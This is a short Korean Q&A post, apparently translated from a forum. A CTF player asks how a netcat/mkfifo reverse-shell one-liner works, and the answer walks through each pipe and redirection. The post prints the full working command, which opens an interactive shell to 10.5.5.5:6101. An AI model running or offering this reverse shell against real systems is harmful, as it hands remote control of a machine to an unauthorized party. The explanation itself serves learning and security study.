플랫폼에서 CTF 챌린지를 수행하는 동안 리버스 쉘이 필요했지만 제대로 작동하지 않아서 프로세스를 살펴보고 하나의 리버스 쉘 코드를 찾았습니다.
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
실제로 작동했지만 파이프가 어떻게 작동하는지, 데이터를 어디로 보내는지 등을 실제로 이해할 수 없습니다. 누군가 이것을 설명해 주시겠습니까?
답변1
그러면 시스템에 원격으로 제어되는 쉘이 설정됩니다. 입력 및 출력은 다음과 같습니다.
cat /tmp/m
FIFO 에서 읽어서/tmp/m
FIFO에 씁니다.|/bin/sh -i 2>&1
읽은 명령을 실행하고 출력(표준 출력 및 표준 오류 모두)을 다음으로 보냅니다.|nc 10.5.5.5 6101
10.5.5.5:6101에 연결하고 다음에 씁니다.>/tmp/m
FIFO.
따라서 원격 시스템은 를 통해 전송되고 nc
, FIFO에 기록되고, 에서 읽고 cat
, 해석되는 명령을 공급할 수 sh
있으며 해당 명령의 출력은 을 통해 원격 시스템으로 다시 전송됩니다 nc
.